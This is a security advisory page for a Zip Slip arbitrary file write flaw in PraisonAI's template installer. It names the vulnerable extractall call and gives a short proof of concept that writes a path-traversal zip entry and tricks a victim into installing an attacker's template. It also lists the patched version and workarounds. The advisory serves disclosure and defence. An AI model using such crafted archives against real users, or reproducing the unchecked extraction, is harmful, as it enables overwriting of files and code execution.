CVE-2026-39307 — praisonai
HIGHCVE-2026-39307 is a high-severity (CVSS 8.1) Path Traversal vulnerability in praisonai. A fix is available for praisonai — see the affected versions and patch details below.
PraisonAI has an Arbitrary File Write (Zip Slip) in Templates Extraction
Exploitation Status
Proof-of-concept exploit code exists
- CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.
Exploitation and automatability from CISA’s SSVC triage for CVE-2026-39307.
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
Where this sits among everything scored
Real-World Exposure
praisonaiReal-time download stats are indexed for npm and PyPI packages. This vulnerability affects PyPI packages — download data is not available via public APIs for these ecosystems.
Description
The PraisonAI templates installation feature is vulnerable to a "Zip Slip" Arbitrary File Write attack. When downloading and extracting template archives from external sources (e.g., GitHub), the application uses Python's zipfile.extractall() without verifying if the files within the archive resolve outside of the intended extraction directory.
Details
Location: src/praisonai/praisonai/cli/features/templates.py (Line 852)
Vulnerable Code snippet:
zip_ref.extractall(tmpdir)
During installation, the CLI downloads a ZIP archive and extracts it directly into a temporary directory using zip_ref.extractall(tmpdir). A specially crafted ZIP archive can contain file entries with relative paths (such as ../../../../tmp/evil.sh). If extracting this archive in older Python versions or environments where extraction rules aren't strict, extractall will write these files outside the target directory, allowing an attacker to overwrite arbitrary files on the victim's filesystem.
PoC
- Generate a malicious zip payload:
import zipfile
with zipfile.ZipFile('malicious_template.zip', 'w') as z:
# Adding a file that traverses directories
z.writestr('../../../../../../../tmp/zip_slip_pwned.txt', 'pwned by zip slip')
- Trick a user into installing the malicious template:
praisonai templates install github:attacker/malicious_template
- Observe the
zip_slip_pwned.txtfile created in/tmp/on the victim's machine.
Impact
This is an Arbitrary File Write vulnerability affecting any user who installs community templates. It can be leveraged to overwrite system files, user dotfiles, or application code, ultimately leading to system corruption or full Remote Code Execution (RCE).
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 🐍PyPI | praisonai | all versions | 4.5.113pip install --upgrade 'praisonai==4.5.113' |
Affected Products
praisonaipraisonDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for praisonai, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update praisonai to 4.5.113 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2026-39307 is resolved across your whole dependency graph.
Workarounds
Resolve every user-supplied path to its canonical form and reject anything that escapes the intended directory, and run the component under an account that has no read or write access outside the directory it legitimately serves.
Frequently Asked Questions
Is CVE-2026-39307 in your dependencies?
Find it across PyPI, including transitive dependencies.